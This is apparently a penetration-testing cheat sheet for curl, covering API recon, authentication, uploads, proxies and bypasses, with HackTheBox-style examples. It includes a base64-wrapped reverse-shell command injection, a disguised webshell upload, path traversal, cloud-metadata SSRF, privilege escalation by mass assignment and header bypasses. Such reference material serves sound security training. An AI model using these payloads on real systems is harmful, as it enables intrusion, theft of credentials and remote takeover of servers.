cURL
API reconnaissance and exploitation from the shell. For headers-first recon, wget and file transfers, see the curl + wget Field Card.
1. Global flags worth memorising
curl is a command-line client for HTTP(S) and many other protocols. For offensive work it is the fastest way to drive an API, test auth, move files and proxy a request chain through Burp.
| Flag | Effect |
|---|---|
-s / -v | silent / verbose (> lines sent, < lines received) |
-i / -I | include response headers / HEAD only |
-D - | dump headers to stdout — use instead of -I when the server treats HEAD differently |
-L | follow redirects |
-k | skip TLS verification |
-o file / -O | write to file / keep the remote filename |
-w fmt | write-out template, e.g. '%{http_code}\n' |
-m / --connect-timeout | total / connect timeout |
curl -V # version and which protocols this build supports
2. Recon
# Status and headers together
curl -is http://target/api
# Follow redirects, headers from every hop
curl -sIL http://target
# Status, size and where it redirects, on one line
curl -s -o /dev/null -w '%{http_code} %{size_download} %{redirect_url}\n' http://target
# Probe well-known API entry points. Quote the URL so curl's own globbing
# expands it — unquoted, bash expands the braces first and the behaviour
# differs between shells.
curl -s 'http://target/{api,api/v1,.well-known/openapi.json}'
# Quick path sweep. %{url_effective} is the portable write-out variable;
# %{url} only exists on curl 7.75+.
for p in auth users admin; do
curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" "http://target/api/v1/$p"
done
3. Methods and bodies
# Form-encoded. -d implies POST and sets the content type.
curl -s http://target/login --data 'username=alice&password=Password123!'
# Let curl encode a value that contains & = + or spaces
curl -s http://target/search --data-urlencode 'q=<script>alert(1)</script>'
# JSON. --json sets Content-Type and Accept in one flag (curl 7.82+).
curl -s --json '{"name":"widget","price":1.99}' http://target/api/v1/items | jq
# JSON on an older curl, or from a file
curl -s -H 'Content-Type: application/json' -d @body.json http://target/api
# PUT / PATCH / DELETE
curl -sX PUT http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"email":"a@b.c"}'
curl -sX PATCH http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"is_admin":1}'
curl -sX DELETE http://target/api/v1/user/1
# -G turns -d into a query string instead of a body
curl -sG http://target/search -d 'q=admin' -d 'page=1'
curl -sG http://target/item --data-urlencode 'id=1 OR 1=1'
Note — Reach for
-Xonly when you need a method curl would not pick itself.-X GETalongside-dis a classic self-inflicted bug: curl still sends the body, and some servers ignore it. Use-Gfor that.
4. Cookies and sessions
# Send a cookie copied from the browser
curl -s http://target/api -b 'PHPSESSID=abcd...'
# Log in, save the jar, reuse it. Read and write the same jar for multi-step flows.
curl -s -c jar.txt -b jar.txt http://target/login -d 'u=a&p=b'
curl -s -c jar.txt -b jar.txt -L http://target/dashboard
5. Authentication
curl -su user:pass http://target/admin # Basic
curl -s --digest -u user:pass http://target/admin # Digest
curl -s -H 'Authorization: Bearer <TOKEN>' http://target/api/me # Bearer / JWT
curl -s --ntlm -u 'DOMAIN\user:pass' http://win-target/ # NTLM, common on IIS intranets
curl -s --negotiate -u : --service-name HTTP --delegation always http://kerb-target/ # Kerberos
A 401 with WWW-Authenticate tells you which scheme to use:
WWW-Authenticate: Basic realm="admin"
WWW-Authenticate: Bearer
WWW-Authenticate: NTLM
NTLM in that header often leaks the domain name in the challenge — worth capturing with -v.
6. Reading the response to pick the next request
Most API work is a loop: send something, read what the server complains about, send a better request. The table covers the common signals; the recipes below are the ones with a real technique in them.
| Response | What it means | Next request |
|---|---|---|
302 + Set-Cookie | session started | -L -c jar.txt -b jar.txt |
401 | missing or invalid credentials | supply a cookie or Authorization |
403 | authenticated but not permitted | try another role, or an adjacent endpoint |
405 + Allow: | wrong verb | use a listed method, or ask with -X OPTIONS |
415 / 422 + field list | wrong body shape | match the content type, then add the named fields |
Content-Disposition: attachment | a file, not a page | -OJ to save it under the server’s name |
X-RateLimit-Remaining: 0 | throttled | sleep until X-RateLimit-Reset |
Error-led field probing
The server will usually tell you what it wants if you let it. Add fields until it stops complaining:
SESSION='PHPSESSID=nufb0km8892s1t9kraqhqiecj6'
BASE='http://2million.htb'
curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
-H 'Content-Type: application/json' -d '{"email":"test@2million.htb"}' | jq
# => { "status": "danger", "message": "Missing parameter: is_admin" }
curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
-H 'Content-Type: application/json' -d '{"email":"test@2million.htb","is_admin":true}' | jq
CSRF tokens
Extract the token and keep the cookie jar from the same request that issued it — a token from one session will not validate against another:
<input type="hidden" name="csrf_token" value="abc123"/>
TOKEN=$(curl -s -c jar.txt -b jar.txt "$BASE/profile" \
| sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p')
curl -s -X POST "$BASE/profile/update" -c jar.txt -b jar.txt \
--data "name=alice&csrf_token=$TOKEN"
Pagination and rate limits
# Walk the Link header
NEXT=$(curl -si "$BASE/api/v1/items?page=1" -b "$SESSION" \
| sed -n 's/.*<\([^>]*\)>; rel="next".*/\1/p')
[ -n "$NEXT" ] && curl -s "$NEXT" -b "$SESSION" | jq
# Wait out a 429 instead of hammering through it
RESET=$(curl -si "$BASE/api/v1/search?q=admin" | awk -F': ' '/^X-RateLimit-Reset/{print $2}')
WAIT=$(( RESET - $(date +%s) )); [ "$WAIT" -gt 0 ] && sleep "$WAIT"
curl -s "$BASE/api/v1/search?q=admin"
RESTful guesses when there are no docs
| Endpoint | Convention |
|---|---|
/api/v1/posts | GET lists, POST creates |
/api/v1/posts/123 | GET reads, PUT replaces, PATCH partially updates, DELETE removes |
/login, /auth | POST with credentials |
/settings/update, /generate | POST or PUT with a JSON body |
7. File uploads
# multipart/form-data. The field name comes from the HTML: <input type="file" name="upload">
curl -s -X POST http://target/upload -F 'upload=@/tmp/poc.txt'
# Forge the type and the filename the server stores
curl -s -X POST http://target/upload \
-F 'file=@/path/webshell.php;type=image/gif;filename=cat.gif' \
-F 'submit=Upload'
# Traversal in the stored filename
curl -s -X POST http://target/upload -F 'file=@/tmp/poc.txt;filename=..%2f..%2fetc%2fpasswd'
# PUT raw bytes to a writable path
curl -sT ./payload.bin http://target/uploads/payload.bin
8. Downloads and ranges
# Save under the server's own filename, honouring Content-Disposition
curl -sOJ http://target/files/report
# Fetch the first kilobyte only. The range flag is -r / --range.
curl -s -r 0-1024 http://target/large.iso -o head.bin
9. Proxies and TLS
# Through Burp, so the request lands in HTTP history and can be replayed there
curl -sk -x http://127.0.0.1:8080 http://target
# Through a chisel/ligolo SOCKS pivot. Use --socks5-hostname so DNS resolves
# on the far side; plain --socks5 resolves locally and leaks or fails.
curl -s --socks5-hostname 127.0.0.1:1080 http://intranet
# Pin a name to an address for this request only — also fixes SNI on HTTPS
curl -sk --resolve internal:443:10.0.0.5 https://internal/
# Force a protocol version
curl -s --http2 https://target
curl -s --http1.1 https://legacy
10. Header manipulation
# Virtual host routing and SSRF pivots
curl -s https://edge --resolve api.intra:443:10.0.0.5 -H 'Host: api.intra'
# CORS / CSRF origin checks
curl -s http://target/endpoint -H 'Origin: https://trusted.example' -H 'Referer: https://trusted.example/page'
# Access-control headers that proxies honour but apps forget to strip
curl -s http://target -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Original-URL: /admin'
# Header names are case-insensitive; some filters are not
curl -s http://target -H 'hOsT: admin'
# A header with nothing after the colon removes it entirely
curl -s http://target -H 'User-Agent:'
11. SSRF probing
# Cloud metadata through a URL parameter (AWS IMDSv1 shown)
curl -s 'http://target/proxy?url=http://169.254.169.254/latest/meta-data/'
# Out-of-band confirmation when the response body is blind
curl -s 'http://target/fetch?u=http://<id>.oast.site/'
12. Debugging and output control
curl -s -o /dev/null -w '%{http_code}\n' http://target # status only
curl -s -D headers.txt -o body.json http://target/api # split headers and body
curl -s -w '%{time_namelookup} %{time_connect} %{time_total}\n' -o /dev/null http://target
curl --trace-ascii trace.txt http://target # full raw exchange
Tip — When a request misbehaves, add
-v. If it still makes no sense, add-x http://127.0.0.1:8080and read it in Burp.
13. Automation and chaining
# Sweep a path list in parallel. Keep -P low and respect rate limits.
xargs -a endpoints.txt -I{} -P5 \
curl -s -o /dev/null -w '{} -> %{http_code}\n' 'http://target{}'
# Capture a token and reuse it
AUTH=$(curl -s http://target/login -d 'u=a&p=b' | jq -r '.token')
curl -s http://target/me -H "Authorization: Bearer $AUTH" | jq
Driving an injection point through curl, where the payload has to survive both the shell and the URL:
# Let --data-urlencode do the encoding rather than hand-escaping
curl -sG http://target/api/v1/ping --data-urlencode 'host=127.0.0.1;id'
# Base64 the reverse shell so quoting survives the round trip
PAY=$(echo 'bash -i >& /dev/tcp/10.10.14.4/1234 0>&1' | base64 -w0)
curl -s -X POST http://target/api/v1/admin/vpn/generate \
-H 'Content-Type: application/json' -b "$SESSION" \
-d "{\"username\":\"test;echo $PAY | base64 -d | bash;\"}"
Warning — Test only with explicit written authorisation. Several of the above are intrusive and can disrupt a service.
14. Bypass techniques
# Framework method override, when the real verb is filtered at the edge
curl -s -X POST http://target/item/1 \
-H 'Content-Type: application/json' -H 'X-HTTP-Method-Override: DELETE' -d '{}'
# Content-Type confusion: the parser that reads the body and the filter that
# inspected it may disagree about the charset
curl -s -X POST http://target/api -H 'Content-Type: application/json; charset=utf-7' -d '{}'
15. Quick reference
| Task | Flags |
|---|---|
| Follow redirects | -L |
| HTTP(S) proxy | -x http://127.0.0.1:8080 |
| SOCKS proxy, remote DNS | --socks5-hostname 127.0.0.1:1080 |
| Send a header / remove one | -H 'K: v' / -H 'K:' |
| Cookie jar | -c jar.txt -b jar.txt |
| Form body / query string | -d / -G -d |
| JSON body | --json '{...}' |
Upload multipart / PUT a file | -F 'f=@/path/file' / -T file.bin |
| Byte range | -r 0-1024 |
| Output control | -o file, -D headers.txt, -w fmt |
| Pin a hostname | --resolve host:port:addr |
| Insecure TLS | -k |